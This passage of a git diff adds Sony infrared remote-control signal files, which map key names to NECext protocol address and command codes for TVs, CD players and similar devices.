NECext +address: 54 00 00 00 +command: 1B 00 00 00 +# +name: BRIGHT+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1E 00 00 00 +# +name: BRIGHT- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1F 00 00 00 +# +name: HUE+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 20 00 00 00 +# +name: HUE- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 21 00 00 00 +# +name: SHARP+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 22 00 00 00 +# +name: SHARP- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 23 00 00 00 +# +name: PICTURE_MUTE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 24 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 25 00 00 00 +# +name: STATUS_OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 29 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2A 00 00 00 +# +name: INPUT_A +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 36 00 00 00 +# +name: RGB_HSIZE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 47 00 00 00 +# +name: RGB_SHIFT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 48 00 00 00 +# +name: ASPECT_SELECT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 4C 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 57 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 5E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 63 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir new file mode 100644 index 000000000..210b18ae6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 80 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir new file mode 100644 index 000000000..12a3ae278 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir new file mode 100644 index 000000000..6a1cec323 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir @@ -0,0 +1,500 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 20 00 00 00 +# +name: exclamation +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 21 00 00 00 +# +name: doublequote +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 22 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 23 00 00 00 +# +name: dollar +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 24 00 00 00 +# +name: percent +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 25 00 00 00 +# +name: ampersand +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 26 00 00 00 +# +name: apostrophe +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 27 00 00 00 +# +name: open_parenthesis +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 28 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 29 00 00 00 +# +name: asterick +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 2A 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 2B 00 00 00 +# +name: comma +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 2C 00 00 00 +# +name: dash +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 2D 00 00 00 +# +name: period +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 2E 00 00 00 +# +name: slash +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 2F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 39 00 00 00 +# +name: colon +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 3A 00 00 00 +# +name: semicolon +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 3B 00 00 00 +# +name: lessthan +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 3C 00 00 00 +# +name: greaterthan +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 3E 00 00 00 +# +name: question +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 3F 00 00 00 +# +name: cap_a +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 41 00 00 00 +# +name: cap_b +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 42 00 00 00 +# +name: cap_c +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 43 00 00 00 +# +name: cap_d +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 44 00 00 00 +# +name: cap_e +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 45 00 00 00 +# +name: cap_f +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 46 00 00 00 +# +name: cap_g +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 47 00 00 00 +# +name: cap_h +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 48 00 00 00 +# +name: cap_i +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 49 00 00 00 +# +name: cap_j +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 4A 00 00 00 +# +name: cap_k +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 4B 00 00 00 +# +name: cap_l +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 4C 00 00 00 +# +name: cap_m +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 4D 00 00 00 +# +name: cap_n +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 4E 00 00 00 +# +name: cap_o +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 4F 00 00 00 +# +name: cap_p +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 50 00 00 00 +# +name: cap_q +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 51 00 00 00 +# +name: cap_r +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 52 00 00 00 +# +name: cap_s +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 53 00 00 00 +# +name: cap_t +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 54 00 00 00 +# +name: cap_u +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 55 00 00 00 +# +name: cap_v +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 56 00 00 00 +# +name: cap_w +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 57 00 00 00 +# +name: cap_x +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 58 00 00 00 +# +name: cap_y +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 59 00 00 00 +# +name: cap_z +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 5A 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 61 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 62 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 63 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 64 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 65 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 66 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 67 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 68 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 69 00 00 00 +# +name: KEY_J +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 6A 00 00 00 +# +name: KEY_K +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 6B 00 00 00 +# +name: KEY_L +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 6C 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 6D 00 00 00 +# +name: KEY_N +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 6E 00 00 00 +# +name: KEY_O +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 6F 00 00 00 +# +name: KEY_P +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 70 00 00 00 +# +name: KEY_Q +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 71 00 00 00 +# +name: KEY_R +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 72 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 73 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 74 00 00 00 +# +name: KEY_U +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 75 00 00 00 +# +name: KEY_V +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 76 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 77 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 78 00 00 00 +# +name: KEY_Y +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 79 00 00 00 +# +name: KEY_Z +type: parsed +protocol: NECext +address: 1A 61 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir new file mode 100644 index 000000000..d4108db4b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: level_up +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: level_down +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: scroll +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: skip_back +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: skip_forw +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2B 00 00 00 +# +name: forw +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: trec +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: char +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: musicsync +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: name +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 61 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 69 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 6A 00 00 00 +# +name: yes +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 6B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir new file mode 100644 index 000000000..26aac47bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: fback +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: ffor +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: for +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir new file mode 100644 index 000000000..f065f168f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 13 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 27 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 2C 00 00 00 +# +name: track_back +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 33 00 00 00 +# +name: track_forward +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 38 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: DF 00 00 00 +command: 6B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir new file mode 100644 index 000000000..69e2ec859 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0A 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 13 00 00 00 +# +name: ATT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 14 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 27 00 00 00 +# +name: DSPL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 28 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 2B 00 00 00 +# +name: DISC- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 32 00 00 00 +# +name: DISC+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 33 00 00 00 +# +name: SEEK+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 34 00 00 00 +# +name: SEEK- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 35 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 46 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 47 00 00 00 +# +name: AF-TA +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 4A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5C 00 00 00 +# +name: DSO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir new file mode 100644 index 000000000..d9d74f02b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed 